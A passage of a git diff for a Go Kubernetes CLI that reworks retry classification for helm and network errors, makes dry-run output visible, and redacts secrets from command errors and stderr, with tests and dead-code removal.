linear backoff retry policy -type LinearBackoffPolicy struct { - MaxAttempts int - BaseDelay time.Duration - Increment time.Duration -} - -// NewLinearBackoffPolicy creates a new linear backoff policy -func NewLinearBackoffPolicy(maxAttempts int, baseDelay, increment time.Duration) *LinearBackoffPolicy { - return &LinearBackoffPolicy{ - MaxAttempts: maxAttempts, - BaseDelay: baseDelay, - Increment: increment, - } -} - -// ShouldRetry determines if an error should be retried -func (p *LinearBackoffPolicy) ShouldRetry(err error, attempt int) bool { - if attempt >= p.MaxAttempts { - return false - } - return IsRecoverable(err) -} - -// GetDelay calculates linear delay -func (p *LinearBackoffPolicy) GetDelay(attempt int) time.Duration { - return p.BaseDelay + time.Duration(attempt)*p.Increment -} - -// GetMaxAttempts returns maximum attempts -func (p *LinearBackoffPolicy) GetMaxAttempts() int { - return p.MaxAttempts -} - // RetryExecutor handles retry logic with policies type RetryExecutor struct { policy RetryPolicy @@ -155,12 +188,6 @@ func NewRetryExecutor(policy RetryPolicy) *RetryExecutor { } } -// WithRetryCallback sets a callback function called on each retry -func (r *RetryExecutor) WithRetryCallback(callback func(err error, attempt int, delay time.Duration)) *RetryExecutor { - r.onRetry = callback - return r -} - // Execute executes a function with retry logic func (r *RetryExecutor) Execute(ctx context.Context, operation func() error) error { var lastErr error @@ -211,142 +238,38 @@ func (r *RetryExecutor) Execute(ctx context.Context, operation func() error) err return lastErr } -// ExecuteWithResult executes a function returning a result with retry logic -func (r *RetryExecutor) ExecuteWithResult(ctx context.Context, operation func() (interface{}, error)) (interface{}, error) { - var lastErr error - var lastResult interface{} - - for attempt := 0; attempt < r.policy.GetMaxAttempts(); attempt++ { - // Check context cancellation - select { - case <-ctx.Done(): - return nil, ctx.Err() - default: - } - - // Execute the operation - result, err := operation() - if err == nil { - return result, nil // Success - } - - lastErr = err - lastResult = result - - // Check if we should retry - if !r.policy.ShouldRetry(err, attempt) { - break - } - - // This is our last attempt - if attempt == r.policy.GetMaxAttempts()-1 { - break - } - - // Calculate delay - delay := r.policy.GetDelay(attempt + 1) - - // Call retry callback if set - if r.onRetry != nil { - r.onRetry(err, attempt+1, delay) - } - - // Wait for the delay period or context cancellation - select { - case <-ctx.Done(): - return nil, ctx.Err() - case <-time.After(delay): - // Continue to next attempt - } - } - - return lastResult, lastErr -} - -// DefaultRetryCallback provides a standard retry callback with progress indication -func DefaultRetryCallback(operation string) func(error, int, time.Duration) { - return func(err error, attempt int, delay time.Duration) { - pterm.Warning.Printf("⚠️ %s failed (attempt %d): %v\n", operation, attempt, err) - pterm.Info.Printf("🔄 Retrying in %s...\n", delay.Round(time.Second)) - } -} - -// QuietRetryCallback provides a minimal retry callback -func QuietRetryCallback() func(error, int, time.Duration) { - return func(err error, attempt int, delay time.Duration) { - pterm.Debug.Printf("Retry attempt %d after %v: %v\n", attempt, delay, err) - } -} - -// VerboseRetryCallback provides detailed retry information -func VerboseRetryCallback() func(error, int, time.Duration) { - return func(err error, attempt int, delay time.Duration) { - pterm.Warning.Printf("Operation failed on attempt %d: %v\n", attempt, err) - pterm.Info.Printf("Waiting %s before retry attempt %d...\n", delay.Round(time.Millisecond), attempt+1) - - var recoverableErr RecoverableError - if stderrors.As(err, &recoverableErr) && recoverableErr.IsRecoverable() { - pterm.Debug.Printf("Error is recoverable with suggested retry after %v\n", recoverableErr.GetRetryAfter()) - } - } -} - // Predefined retry policies for common scenarios -// NetworkRetryPolicy for network-related operations -func NetworkRetryPolicy() RetryPolicy { - policy := NewExponentialBackoffPolicy(5, 2*time.Second) - policy.MaxDelay = 30 * time.Second - policy.RetryableErrs = map[string]bool{ - "network timeout": true, - "connection refused": true, - "connection reset": true, - "no route to host": true, - "dns resolution failed": true, - "tls handshake timeout": true, - } - return policy -} - -// ResourceRetryPolicy for resource availability operations -func ResourceRetryPolicy() RetryPolicy { - policy := NewExponentialBackoffPolicy(10, 5*time.Second) - policy.MaxDelay = 2 * time.Minute - policy.RetryableErrs = map[string]bool{ - "resource not ready": true, - "cluster not ready": true, - "service unavailable": true, - "temporarily unavailable": true, - "resource busy": true, - } - return policy -} - -// InstallationRetryPolicy for installation operations +// InstallationRetryPolicy for installation operations. +// +// The substrings are the fallback for helm/kubectl failures, which reach us as +// "exit status 1" plus the tool's stderr. Structural classification +// (classifyTransient) handles everything the Go type system can see. +// +// "tiller not ready" used to be listed here: Tiller was removed in Helm 3 +// (2019) and this CLI drives Helm 3/4, so it could never match. Likewise +// "rate limited" — GitHub and the Kubernetes API server both say "too many +// requests". func InstallationRetryPolicy() RetryPolicy { policy := NewExponentialBackoffPolicy(3, 10*time.Second) policy.MaxDelay = 5 * time.Minute policy.RetryableErrs = map[string]bool{ - "helm not ready": true, - "tiller not ready": true, - "resource conflict": true, - "temporary failure": true, - "rate limited": true, + // helm's own transient conditions + "another operation (install/upgrade/rollback) is in progress": true, + "the server is currently unable to handle the request": true, + "etcdserver: request timed out": true, + // generic transport failures visible only as text from a child process + "i/o timeout": true, + "connection refused": true, + "connection reset": true, + "tls handshake timeout": true, + "unexpected eof": true, + "too many requests": true, + "temporary failure": true, } return policy } -// Helper functions - -// IsRecoverable checks if an error is recoverable -func IsRecoverable(err error) bool { - var recoverableErr RecoverableError - if stderrors.As(err, &recoverableErr) { - return recoverableErr.IsRecoverable() - } - return false -} - // contains reports whether str contains substr, case-insensitively. (The prior // hand-rolled implementation was case-sensitive despite its name and duplicated // strings.Contains with extra, redundant branches.) diff --git a/internal/shared/errors/retry_policy_test.go b/internal/shared/errors/retry_policy_test.go index 08d6055c..a1b5d63d 100644 --- a/internal/shared/errors/retry_policy_test.go +++ b/internal/shared/errors/retry_policy_test.go @@ -4,11 +4,15 @@ import ( "context" "errors" "fmt" + "net" + "syscall" "testing" "time" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" + apierrors "k8s.io/apimachinery/pkg/api/errors" + "k8s.io/apimachinery/pkg/runtime/schema" ) // nonRecoverable implements RecoverableError and reports itself non-retryable. @@ -32,13 +36,14 @@ func TestShouldRetry_WrappedRecoverableIsUnwrapped(t *testing.T) { p := NewExponentialBackoffPolicy(5, time.Millisecond) wrapped := fmt.Errorf("install step failed: %w", recoverable{msg: "boom"}) assert.True(t, p.ShouldRetry(wrapped, 0), "wrapped recoverable error must still retry") - assert.True(t, IsRecoverable(wrapped), "IsRecoverable must unwrap %w chains") - assert.False(t, IsRecoverable(fmt.Errorf("plain: %w", nonRecoverable{msg: "x"}))) + assert.False(t, p.ShouldRetry(fmt.Errorf("plain: %w", nonRecoverable{msg: "x"}), 0)) } func TestShouldRetry_RespectsMaxAttempts(t *testing.T) { p := NewExponentialBackoffPolicy(3, time.Millisecond) - err := errors.New("network timeout") + // "i/o timeout" is what Go actually prints; the old test used the phrase + // "network timeout", which nothing in the stack ever emits. + err := errors.New("dial tcp 10.0.0.1:6443: i/o timeout") assert.True(t, p.ShouldRetry(err, 0)) assert.True(t, p.ShouldRetry(err, 2)) assert.False(t, p.ShouldRetry(err, 3), "attempt == MaxAttempts must not retry") @@ -145,3 +150,76 @@ func pow(base float64, exp int) float64 { } return r } + +// TestShouldRetry_StructuralNetworkTimeout (M4.3): a real Go network timeout is +// recognized by type, not by wording. Before this, retry matched the substring +// "network timeout" — a phrase the standard library never produces (it says +// "i/o timeout"), so genuinely transient failures were never retried. +func TestShouldRetry_StructuralNetworkTimeout(t *testing.T) { + p := NewExponentialBackoffPolicy(3, time.Millisecond) + + // A net.Error whose Timeout() is true, with a message containing none of + // the substring patterns: only structural classification can catch it. + timeout := &net.OpError{Op: "dial", Err: &timeoutErr{}} + assert.True(t, p.ShouldRetry(timeout, 0), "a net.Error with Timeout()==true must be retried") + assert.True(t, p.ShouldRetry(fmt.Errorf("connecting to cluster: %w", timeout), 0), + "wrapping must not hide a network timeout") +} + +// timeoutErr is a minimal net.Error that reports a timeout and whose message +// matches no substring pattern. +type timeoutErr struct{} + +func (timeoutErr) Error() string { return "the operation did not complete in time" } +func (timeoutErr) Timeout() bool { return true } +func (timeoutErr) Temporary() bool { return true } + +// TestShouldRetry_NeverRetriesCancellation: Ctrl-C must end the operation. A +// cancelled request is also a net.Error, but Timeout() is false — the ordering +// inside classifyTransient is what keeps these two apart. +func TestShouldRetry_NeverRetriesCancellation(t *testing.T) { + p := NewExponentialBackoffPolicy(5, time.Millisecond) + + assert.False(t, p.ShouldRetry(context.Canceled, 0)) + assert.False(t, p.ShouldRetry(fmt.Errorf("install aborted: %w", context.Canceled), 0), + "a wrapped cancellation must not be retried") +} + +// TestShouldRetry_ConnectionRefusedIsTransient: the API server of a cluster +// that is still coming up refuses connections; that is the single most common +// retryable condition during bootstrap. +func TestShouldRetry_ConnectionRefusedIsTransient(t *testing.T) { + p := NewExponentialBackoffPolicy(5, time.Millisecond) + + err := &net.OpError{Op: "dial", Err: syscall.ECONNREFUSED} + assert.True(t, p.ShouldRetry(err, 0)) + assert.True(t, p.ShouldRetry(fmt.Errorf("kube api: %w", err), 0)) +} + +// TestShouldRetry_KubernetesBackpressure: 429 / 409 / 503 from the API server +// are the canonical "come back shortly" answers. +func TestShouldRetry_KubernetesBackpressure(t *testing.T) { + p := NewExponentialBackoffPolicy(5, time.Millisecond) + gr := schema.GroupResource{Group: "argoproj.io", Resource: "applications"} + + assert.True(t, p.ShouldRetry(apierrors.NewConflict(gr, "app-of-apps", errors.New("object modified")), 0)) + assert.True(t, p.ShouldRetry(apierrors.NewTooManyRequests("slow down", 1), 0)) + assert.True(t, p.ShouldRetry(apierrors.NewServiceUnavailable("apiserver starting"), 0)) + + // A 404 is a real answer, not backpressure. + assert.False(t, p.ShouldRetry(apierrors.NewNotFound(gr, "missing"), 0)) +} + +// TestInstallationRetryPolicy_DropsDeadHelm2Pattern: Tiller was removed in Helm +// 3 (2019) and this CLI drives Helm 3/4, so "tiller not ready" could never +// match anything. Its presence made the policy look broader than it was. +func TestInstallationRetryPolicy_DropsDeadHelm2Pattern(t *testing.T) { + p, ok := InstallationRetryPolicy().(*ExponentialBackoffPolicy) + assert.True(t, ok) + + for pattern := range p.RetryableErrs { + assert.NotContains(t, pattern, "tiller", "Tiller does not exist in Helm 3+") + } + assert.False(t, p.ShouldRetry(errors.New("network timeout"), 0), + "the phantom phrase must no longer be a retry trigger") +} diff --git a/internal/shared/executor/dryrun_test.go b/internal/shared/executor/dryrun_test.go new file mode 100644 index 00000000..70c61ef7 --- /dev/null +++ b/internal/shared/executor/dryrun_test.go @@ -0,0 +1,49 @@ +package executor + +import ( + "bytes" + "context" + "strings" + "testing" + + "github.com/pterm/pterm" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// TestDryRun_PrintsCommandWithoutVerbose is the B6 guard for dry-run +// visibility: `--dry-run` must print the command it WOULD run even without +// --verbose. Previously a non-verbose dry-run produced no output at all and +// exited 0 — indistinguishable from a real successful run. +func TestDryRun_PrintsCommandWithoutVerbose(t *testing.T) { + var buf bytes.Buffer + old := pterm.Info + pterm.Info = *pterm.Info.WithWriter(&buf) + t.Cleanup(func() { pterm.Info = old }) + + exec := NewRealCommandExecutor(true, false) // dry-run, NOT verbose + result, err := exec.Execute(context.Background(), "k3d", "cluster", "delete", "test") + require.NoError(t, err) + assert.Equal(t, 0, result.ExitCode) + + out := buf.String() + assert.Contains(t, out, "Would run:", "dry-run must announce the command") + assert.Contains(t, out, "k3d cluster delete test", "dry-run must show the full command line") +} + +// TestDryRun_RedactsSecrets: the announced command line goes through the +// redactor like every other print. +func TestDryRun_RedactsSecrets(t *testing.T) { + var buf bytes.Buffer + old := pterm.Info + pterm.Info = *pterm.Info.WithWriter(&buf) + t.Cleanup(func() { pterm.Info = old }) + + exec := NewRealCommandExecutor(true, false) + _, err := exec.Execute(context.Background(), "git", "clone", "https://user:supersecret@github.com/org/repo.git") + require.NoError(t, err) + + if strings.Contains(buf.String(), "supersecret") { + t.Fatalf("dry-run output leaks a URL credential:\n%s", buf.String()) + } +} diff --git a/internal/shared/executor/executor.go b/internal/shared/executor/executor.go index 6b5736a8..31b5c449 100644 --- a/internal/shared/executor/executor.go +++ b/internal/shared/executor/executor.go @@ -13,6 +13,7 @@ import ( "time" "github.com/flamingo-stack/openframe-cli/internal/shared/redact" + "github.com/pterm/pterm" ) // WSL error exit codes @@ -44,17 +45,36 @@ func (e *WSLError) Error() string { } // CommandError is returned when an external command exits non-zero. It carries -// the child's exit code so the top level can propagate it (exit-code fidelity for -// automation), while its Error() message is byte-identical to the previous plain -// error so all existing string-based handling keeps working. +// the child's exit code so the top level can propagate it (exit-code fidelity +// for automation) AND the child's stderr — without it the message degrades to +// the useless "exit status 1" (`*exec.ExitError`'s own string), and the actual +// reason ("port 6550 already allocated", "no space left on device") was only +// ever printed under --verbose. Modelled on WSLError above. +// +// Stderr arrives already redacted from the executor (secrets can be echoed back +// by child processes). type CommandError struct { Command string ExitCode int + Stderr string cause error } +// maxStderrInError bounds how much of a chatty child's stderr lands in the +// error string; the full text is still available via the Stderr field. +const maxStderrInError = 2000 + func (e *CommandError) Error() string { - return fmt.Sprintf("command failed: %s (exit code: %d): %v", e.Command, e.ExitCode, e.cause) + msg := fmt.Sprintf("command failed: %s (exit code: %d)", e.Command, e.ExitCode) + if reason := strings.TrimSpace(e.Stderr); reason != "" { + if len(reason) > maxStderrInError { + reason = "..." + reason[len(reason)-maxStderrInError:] + } + return msg + ": " + reason + } + // No stderr (e.g. the child only wrote to stdout): fall back to the exec + // error, which at least carries the signal/exit description. + return fmt.Sprintf("%s: %v", msg, e.cause) } // Unwrap exposes the underlying exec error so errors.As/Is still reach it. @@ -127,31 +147,6 @@ func ResetWSLCache() { wslUbuntuChecked = false } -// WakeUpWSL sends a simple command to WSL to ensure it's responsive -// This is useful before critical operations as WSL can become unresponsive when idle -// Returns nil if WSL is responsive, error otherwise -func WakeUpWSL() error { - if runtime.GOOS != "windows" { - return nil - } - - // Quick ping to WSL - just echo something - ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) - defer cancel() - - cmd := exec.CommandContext(ctx, "wsl", "-d", "Ubuntu", "echo", "ping") - output, err := cmd.Output() - if err != nil { - return fmt.Errorf("WSL wake-up failed: %w", err) - } - - if strings.TrimSpace(string(output)) != "ping" { - return fmt.Errorf("WSL wake-up returned unexpected output: %s", string(output)) - } - - return nil -} - // TryRecoverWSL attempts to recover WSL connectivity by terminating and restarting the distribution // This is a last-resort operation when WSL becomes completely unresponsive // Returns nil if recovery was successful, error otherwise @@ -339,11 +334,12 @@ func (e *RealCommandExecutor) ExecuteWithOptions(ctx context.Context, options Ex Stderr: "", } - // Handle dry-run mode + // Handle dry-run mode. The "Would run:" line prints UNCONDITIONALLY (not + // only under --verbose): showing what would execute is dry-run's entire + // purpose — without it a dry-run was indistinguishable from a real + // successful run (audit B6/T2-9). pterm.Info honors --silent. if e.dryRun { - if e.verbose { - fmt.Printf("Would run: %s\n", redact.Redact(fullCommand)) - } + pterm.Info.Printf("Would run: %s\n", redact.Redact(fullCommand)) result.Duration = time.Since(start) return result, nil } @@ -394,20 +390,31 @@ func (e *RealCommandExecutor) ExecuteWithOptions(ctx context.Context, options Ex var exitError *exec.ExitError if errors.As(err, &exitError) { result.ExitCode = exitError.ExitCode() - result.Stderr = string(exitError.Stderr) + // Redact at the population chokepoint: callers embed Stderr in + // user-facing errors even in non-verbose mode (e.g. the helm + // manager's "Helm output: %s"), and a child process can echo a + // token back. Control-flow substring checks downstream match + // generic phrases, never secret values, so redaction is safe here. + result.Stderr = redact.Redact(string(exitError.Stderr)) } else { result.ExitCode = -1 } - // Log error in verbose mode + // Log error in verbose mode. pterm.Debug, not fmt.Printf: the latter + // writes straight to stdout, so these diagnostics survived --silent and + // corrupted machine-readable output (`cluster list -o json`). if e.verbose { - fmt.Printf("Command failed: %s (exit code: %d)\n", redact.Redact(fullCommand), result.ExitCode) + pterm.Debug.Printfln("Command failed: %s (exit code: %d)", redact.Redact(fullCommand), result.ExitCode) if result.Stderr != "" { - fmt.Printf("Stderr: %s\n", redact.Redact(result.Stderr)) + pterm.Debug.Printfln("Stderr: %s", redact.Redact(result.Stderr)) } } - // Check for WSL-specific errors on Windows + // Check for WSL-specific errors on Windows. + // Error fields are REDACTED at construction: unlike the verbose prints + // above, these errors reach user-facing output through the error handler + // even in non-verbose mode, so a secret in argv or echoed back on stderr + // (e.g. a URL-embedded token) must never survive into them (audit B5). if runtime.GOOS == "windows" && (command == "wsl" || options.Command == "helm" || options.Command == "k3d") { // For WSL commands, stderr is often redirected to stdout via 2>&1 // Use stdout as error output if stderr is empty @@ -421,8 +428,8 @@ func (e *RealCommandExecutor) ExecuteWithOptions(ctx context.Context, options Ex wslErr := &WSLError{ Operation: fmt.Sprintf("executing %s", options.Command), ExitCode: result.ExitCode, - Stderr: errorOutput, - Suggestion: GetWSLErrorSuggestion(result.ExitCode, fullCommand), + Stderr: redact.Redact(errorOutput), + Suggestion: GetWSLErrorSuggestion(result.ExitCode, redact.Redact(fullCommand)), } return result, wslErr } @@ -431,21 +438,27 @@ func (e *RealCommandExecutor) ExecuteWithOptions(ctx context.Context, options Ex wslErr := &WSLError{ Operation: fmt.Sprintf("executing %s via WSL", options.Command), ExitCode: result.ExitCode, - Stderr: errorOutput, - Suggestion: GetWSLErrorSuggestion(result.ExitCode, fullCommand), + Stderr: redact.Redact(errorOutput), + Suggestion: GetWSLErrorSuggestion(result.ExitCode, redact.Redact(fullCommand)), } return result, wslErr } } - return result, &CommandError{Command: fullCommand, ExitCode: result.ExitCode, cause: err} + // result.Stderr was already redacted where it was populated. + return result, &CommandError{ + Command: redact.Redact(fullCommand), + ExitCode: result.ExitCode, + Stderr: result.Stderr, + cause: err, + } } result.ExitCode = 0 - // Log success in verbose mode + // Log success in verbose mode (see above: pterm.Debug, not fmt.Printf). if e.verbose { - fmt.Printf("Command completed successfully: %s (took %v)\n", redact.Redact(fullCommand), result.Duration) + pterm.Debug.Printfln("Command completed successfully: %s (took %v)", redact.Redact(fullCommand), result.Duration) } return result, nil diff --git a/internal/shared/executor/executor_redact_test.go b/internal/shared/executor/executor_redact_test.go index edf5934c..402f9c40 100644 --- a/internal/shared/executor/executor_redact_test.go +++ b/internal/shared/executor/executor_redact_test.go @@ -3,34 +3,14 @@ package executor import ( "bytes" "context" - "io" - "os" "testing" "github.com/flamingo-stack/openframe-cli/internal/shared/redact" + "github.com/pterm/pterm" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) -// captureStdout runs fn while capturing everything written to os.Stdout. -func captureStdout(t *testing.T, fn func()) string { - t.Helper() - orig := os.Stdout - r, w, err := os.Pipe() - require.NoError(t, err) - os.Stdout = w - done := make(chan string, 1) - go func() { - var buf bytes.Buffer - _, _ = io.Copy(&buf, r) - done <- buf.String() - }() - fn() - _ = w.Close() - os.Stdout = orig - return <-done -} - // TestVerboseLogging_RedactsRegisteredSecret is the I4 wiring guard: a registered // secret appearing in a command must not be printed by verbose command logging. func TestVerboseLogging_RedactsRegisteredSecret(t *testing.T) { @@ -40,15 +20,20 @@ func TestVerboseLogging_RedactsRegisteredSecret(t *testing.T) { secret := "ghp_executorVerboseSecret123" redact.RegisterSecret(secret) - // dry-run + verbose hits the "Would run" log path without executing anything. - exec := NewRealCommandExecutor(true, true) + // dry-run hits the "Would run" log path without executing anything. The + // line now goes through pterm.Info (so --silent can suppress it), so the + // capture swaps pterm's writer rather than os.Stdout. + var buf bytes.Buffer + old := pterm.Info + pterm.Info = *pterm.Info.WithWriter(&buf) + t.Cleanup(func() { pterm.Info = old }) - out := captureStdout(t, func() { - _, err := exec.Execute(context.Background(), "git", "clone", "https://x-access-token:"+secret+"@github.com/org/repo") - require.NoError(t, err) - }) + exec := NewRealCommandExecutor(true, true) + _, err := exec.Execute(context.Background(), "git", "clone", "https://x-access-token:"+secret+"@github.com/org/repo") + require.NoError(t, err) - assert.Contains(t, out, "Would run:", "verbose dry-run should log the command") + out := buf.String() + assert.Contains(t, out, "Would run:", "dry-run should log the command") assert.NotContains(t, out, secret, "registered secret must be redacted from verbose output") assert.Contains(t, out, "***", "redaction marker expected") } diff --git a/internal/shared/executor/redaction_test.go b/internal/shared/executor/redaction_test.go new file mode 100644 index 00000000..b1fa17dd --- /dev/null +++ b/internal/shared/executor/redaction_test.go @@ -0,0 +1,72 @@ +package executor + +import ( + "context" + "runtime" + "strings" + "testing" + + "github.com/flamingo-stack/openframe-cli/internal/shared/redact" +) + +// TestCommandError_IsRedacted is the B5 guard: CommandError reaches user-facing +// output through the error handler even in non-verbose mode, so a registered +// secret in argv must never survive into it (the verbose prints were redacted, +// but the returned error carried the raw command line). +func TestCommandError_IsRedacted(t *testing.T) { + const secret = "super-secret-token-12345" + redact.RegisterSecret(secret) + t.Cleanup(redact.ClearSecrets) + + exec := NewRealCommandExecutor(false, false) + // A guaranteed-to-fail command carrying the secret in argv. + _, err := exec.Execute(context.Background(), "openframe-no-such-binary", "--token", secret) + if err == nil { + t.Fatal("expected the command to fail") + } + if strings.Contains(err.Error(), secret) { + t.Fatalf("error output leaks the registered secret: %v", err) + } + if !strings.Contains(err.Error(), "***") { + t.Errorf("expected the redaction marker in place of the secret, got: %v", err) + } +} + +// TestResultStderr_IsRedactedAtPopulation: a child process that echoes a +// registered secret back on stderr must never leak it — callers embed +// result.Stderr in user-facing errors ("Helm output: %s") even in non-verbose +// mode, so redaction happens where the field is populated. +func TestResultStderr_IsRedactedAtPopulation(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("uses an sh stub; unix-only") + } + const secret = "ghp_childEchoedSecret9876" + redact.RegisterSecret(secret) + t.Cleanup(redact.ClearSecrets) + + exec := NewRealCommandExecutor(false, false) + result, err := exec.Execute(context.Background(), "sh", "-c", "echo "+secret+" >&2; exit 3") + if err == nil { + t.Fatal("expected the command to fail") + } + if strings.Contains(result.Stderr, secret) { + t.Fatalf("result.Stderr leaks the registered secret: %q", result.Stderr) + } + if !strings.Contains(result.Stderr, "***") { + t.Errorf("expected the redaction marker in result.Stderr, got: %q", result.Stderr) + } +} + +// TestCommandError_RedactsURLCredentials: URL-embedded credentials are scrubbed +// structurally even when never registered. +func TestCommandError_RedactsURLCredentials(t *testing.T) { + exec := NewRealCommandExecutor(false, false) + _, err := exec.Execute(context.Background(), "openframe-no-such-binary", + "clone", "https://x-access-token:ghp_abcdef123456@github.com/org/repo.git") + if err == nil { + t.Fatal("expected the command to fail") + } + if strings.Contains(err.Error(), "ghp_abcdef123456") { + t.Fatalf("error output leaks a URL-embedded credential: %v", err) + } +} diff --git a/internal/shared/files/cleanup.go b/internal/shared/files/cleanup.go index 61ef3ada..d9edd26a 100644 --- a/internal/shared/files/cleanup.go +++ b/internal/shared/files/cleanup.go @@ -5,21 +5,10 @@ import ( "io" "os" "path/filepath" - "strings" - "time" "github.com/pterm/pterm" ) -const ( - // CLI_GENERATED_MARKER is the comment marker we add to files generated by the CLI - CLI_GENERATED_MARKER = "# Generated by OpenFrame CLI" - // CLI_GENERATED_TIMESTAMP_PREFIX is used to track when files were generated - CLI_GENERATED_TIMESTAMP_PREFIX = "# Generated at: " - // BACKUP_SUFFIX is added to backup files - BACKUP_SUFFIX = ".cli-backup" -) - // FileBackup represents a file backup operation type FileBackup struct { OriginalPath string @@ -43,40 +32,6 @@ func NewFileCleanup() *FileCleanup { } } -// BackupFile creates a backup of a file before we modify it -func (fc *FileCleanup) BackupFile(filePath string, useMemoryOnly bool) error { - backup := FileBackup{ - OriginalPath: filePath, - ContentOnly: useMemoryOnly, - FileExisted: false, - } - - // Check if file exists - if _, err := os.Stat(filePath); err == nil { - backup.FileExisted = true - - if useMemoryOnly { - // Store content in memory - content, err := os.ReadFile(filePath) // #nosec G304 -- backs up a program-tracked file, read as invoking user - if err != nil { - return fmt.Errorf("failed to read file for backup: %w", err) - } - backup.OriginalContent = content - } else { - // Create physical backup file - backup.BackupPath = filePath + BACKUP_SUFFIX - if err := fc.copyFile(filePath, backup.BackupPath); err != nil { - return fmt.Errorf("failed to create backup file: %w", err) - } - } - } else if !os.IsNotExist(err) { - return fmt.Errorf("failed to check file status: %w", err) - } - - fc.backups = append(fc.backups, backup) - return nil -} - // RestoreFiles restores all backed up files to their original state // This method is used for error conditions and interruptions, so it always cleans up func (fc *FileCleanup) RestoreFiles(verbose bool) error { @@ -251,32 +206,3 @@ func (fc *FileCleanup) copyFile(src, dst string) error { _, err = io.Copy(destFile, sourceFile) return err } - -// AddCLIMarkerToFile adds our generation marker to the beginning of a file -func AddCLIMarkerToFile(filePath, originalContent string) string { - timestamp := time.Now().Format(time.RFC3339) - - header := fmt.Sprintf(`%s -%s%s -# ============================================================================= -# DO NOT EDIT - This file is auto-generated and will be cleaned up after operation -# ============================================================================= - -`, CLI_GENERATED_MARKER, CLI_GENERATED_TIMESTAMP_PREFIX, timestamp) - - return header + originalContent -} - -// GetSafeFileName creates a filename that indicates it's temporary/generated -func GetSafeFileName(baseName string) string { - dir := filepath.Dir(baseName) - filename := filepath.Base(baseName) - ext := filepath.Ext(filename) - nameWithoutExt := strings.TrimSuffix(filename, ext) - - // Add timestamp to make it unique and indicate it's temporary - timestamp := time.Now().Format("20060102-150405") - safeFilename := fmt.Sprintf("%s-generated-%s%s", nameWithoutExt, timestamp, ext) - - return filepath.Join(dir, safeFilename) -} diff --git a/internal/shared/files/cleanup_test.go b/internal/shared/files/cleanup_test.go index 64887a3b..0a0c55f6 100644 --- a/internal/shared/files/cleanup_test.go +++ b/internal/shared/files/cleanup_test.go @@ -183,74 +183,3 @@ func TestFileCleanup_SignalInterruption_Scenario(t *testing.T) { // Verify file was cleaned up (CTRL-C should always cleanup, regardless of success-only mode) assert.NoFileExists(t, tempFile, "Temporary file should be cleaned up on CTRL-C interruption") } - -func TestFileCleanup_BackupFile_MemoryOnly(t *testing.T) { - cleanup := NewFileCleanup() - tmpDir := t.TempDir() - testFile := filepath.Join(tmpDir, "test-file.txt") - originalContent := "original content" - - // Create original file - err := os.WriteFile(testFile, []byte(originalContent), 0644) - require.NoError(t, err) - - // Backup file using memory-only mode - err = cleanup.BackupFile(testFile, true) - assert.NoError(t, err) - - // Verify no physical backup file was created - assert.NoFileExists(t, testFile+".cli-backup", "No physical backup should be created in memory-only mode") - - // Modify the original file - err = os.WriteFile(testFile, []byte("modified content"), 0644) - require.NoError(t, err) - - // Restore the file - err = cleanup.RestoreFiles(false) - assert.NoError(t, err) - - // Verify original content was restored - content, err := os.ReadFile(testFile) - require.NoError(t, err) - assert.Equal(t, originalContent, string(content), "Original content should be restored from memory") -} - -func TestFileCleanup_BackupFile_PhysicalBackup(t *testing.T) { - cleanup := NewFileCleanup() - tmpDir := t.TempDir() - testFile := filepath.Join(tmpDir, "test-file.txt") - originalContent := "original content" - - // Create original file - err := os.WriteFile(testFile, []byte(originalContent), 0644) - require.NoError(t, err) - - // Backup file using physical backup mode - err = cleanup.BackupFile(testFile, false) - assert.NoError(t, err) - - // Verify physical backup file was created - backupFile := testFile + ".cli-backup" - assert.FileExists(t, backupFile, "Physical backup should be created") - - // Verify backup content matches original - backupContent, err := os.ReadFile(backupFile) - require.NoError(t, err) - assert.Equal(t, originalContent, string(backupContent), "Backup content should match original") - - // Modify the original file - err = os.WriteFile(testFile, []byte("modified content"), 0644) - require.NoError(t, err) - - // Restore the file - err = cleanup.RestoreFiles(false) - assert.NoError(t, err) - - // Verify original content was restored - content, err := os.ReadFile(testFile) - require.NoError(t, err) - assert.Equal(t, originalContent, string(content), "Original content should be restored from physical backup") - - // Verify backup file was cleaned up - assert.NoFileExists(t, backupFile, "Physical backup should be cleaned up after restore") -} diff --git a/internal/shared/flags/flags.go b/internal/shared/flags/flags.go index f995ad59..47db92ae 100644 --- a/internal/shared/flags/flags.go +++ b/internal/shared/flags/flags.go @@ -42,18 +42,3 @@ func ValidateCommonFlags(flags *CommonFlags) error { // Add validation logic for common flags if needed return nil } - -// GetFlagDescription returns a standard description for common flags -func GetFlagDescription(flagName string) string { - descriptions := map[string]string{ - "verbose": "Enable verbose output with detailed information", - "dry-run": "Show what would be done without actually executing", - "force": "Skip confirmation prompts and proceed automatically", - "quiet": "Minimize output, showing only essential information", - } - - if desc, exists := descriptions[flagName]; exists { - return desc - } - return "" -} diff --git a/internal/shared/flags/flags_test.go b/internal/shared/flags/flags_test.go index e28fec82..a783f806 100644 --- a/internal/shared/flags/flags_test.go +++ b/internal/shared/flags/flags_test.go @@ -168,52 +168,6 @@ func TestValidateCommonFlags(t *testing.T) { } } -func TestGetFlagDescription(t *testing.T) { - tests := []struct { - name string - flagName string - expected string - }{ - { - name: "verbose flag", - flagName: "verbose", - expected: "Enable verbose output with detailed information", - }, - { - name: "dry-run flag", - flagName: "dry-run", - expected: "Show what would be done without actually executing", - }, - { - name: "force flag", - flagName: "force", - expected: "Skip confirmation prompts and proceed automatically", - }, - { - name: "quiet flag", - flagName: "quiet", - expected: "Minimize output, showing only essential information", - }, - { - name: "unknown flag", - flagName: "unknown", - expected: "", - }, - { - name: "empty flag name", - flagName: "", - expected: "", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := GetFlagDescription(tt.flagName) - assert.Equal(t, tt.expected, result) - }) - } -} - func TestFlagManager_NilCommonFlags(t *testing.T) { // Test that manager handles nil global flags gracefully manager := NewFlagManager(nil) @@ -280,17 +234,6 @@ func TestFlagManager_Struct(t *testing.T) { assert.Equal(t, globalFlags, manager.common) } -func TestFlagDescriptions_Coverage(t *testing.T) { - // Test that all expected flag descriptions are covered - expectedFlags := []string{"verbose", "dry-run", "force", "quiet"} - - for _, flag := range expectedFlags { - description := GetFlagDescription(flag) - assert.NotEmpty(t, description, "Flag %s should have a description", flag) - assert.Greater(t, len(description), 10, "Description for %s should be meaningful", flag) - } -} 